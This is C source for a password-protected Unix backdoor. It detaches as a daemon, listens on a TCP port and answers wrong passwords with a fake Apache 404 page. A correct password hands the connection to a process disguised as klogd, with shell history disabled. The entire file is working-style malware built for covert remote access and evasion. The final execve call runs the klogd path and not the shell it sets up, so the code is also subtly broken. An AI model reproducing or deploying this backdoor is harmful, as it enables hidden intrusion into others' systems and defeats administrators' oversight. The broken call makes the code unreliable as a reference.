#define _XOPEN_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <string.h>
#define DEFAULT_PORT 8080
/* des crypted password */
#define PWD "QXtGlGiFUEeKY"
void sig_hand(int sig) {
int status;
/* rip off children */
while(waitpid(-1,&status,WNOHANG)>0);
}
/* we hide ourselves as httpd daemon */
char *erro=
"HTTP/1.1 404 Not Found\n"
"Date: Mon, 08 Dec 1998 23:17:15 GMT\n"
"Server: Apache/1.3.X (Unix)\n"
"Connection: close\n"
"Content-Type: text/html\n\n"
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
"<HTML><HEAD>\n"
"<TITLE>404 Not Found</TITLE>\n"
"</HEAD><BODY>\n"
"<H1>Not Found</H1>\n"
"The requested URL /loha was not found on this server.<P>\n"
"<HR>\n"
"<ADDRESS>Apache/1.3.X Server at yourserver Port 80</ADDRESS>\n"
"</BODY></HTML>\n";
void my_error(int fd) {
write(fd,erro,strlen(erro));
}
int main(int argc,char **argv)
{
char *name[3];
char *env[2];
char *execname;
int fd,fd2,fromlen;
int port;
struct sockaddr_in serv;
char *crypted=PWD;
unsigned char *ptr;
char pass[9];
port=DEFAULT_PORT;
if (argc>1 && atoi(argv[1])) port=atoi(argv[1]);
#ifndef DEBUG
if (fork()) exit(1);
close(0);
close(1);
close(2);
chdir("/");
setsid();
#endif
signal(SIGCHLD,sig_hand);
if((fd=socket(AF_INET,SOCK_STREAM,0))<0) {
#ifdef DEBUG
perror("socket");
#endif
exit(1);
}
serv.sin_addr.s_addr=0;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if(bind(fd,(struct sockaddr *)&serv,16)) {
#ifdef DEBUG
perror("bind");
#endif
exit(1);
}
if(listen(fd,5)) {
#ifdef DEBUG
perror("listen");
exit(1);
#endif
}
for(;;) {
fromlen=16; /*(sizeof(struct sockaddr)*/
fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
if (fd2<0) continue;
if (fork()) { /* parent */
close(fd2);
} else {
close(fd);
bzero(pass,9);
read(fd2,pass,8);
for(ptr=pass;*ptr!=0;ptr++)
if(*ptr<32) *ptr=0;
if (strcmp(crypt(pass,crypted),crypted)) {
my_error(fd2);
exit(1);
}
dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);
execname="/bin/sh";
name[0]="/sbin/klogd";
/* gives somewhat nicer appearence */
name[1]="-i";
name[2]=NULL;
/* if the actual /bin/sh is bash
* we need this to get rid saving stuff into
* .bash_history file
*/
env[0]="HISTFILE=/dev/null";
env[1]=NULL;
execve(name[0],name,env);
exit(1);
}
}
}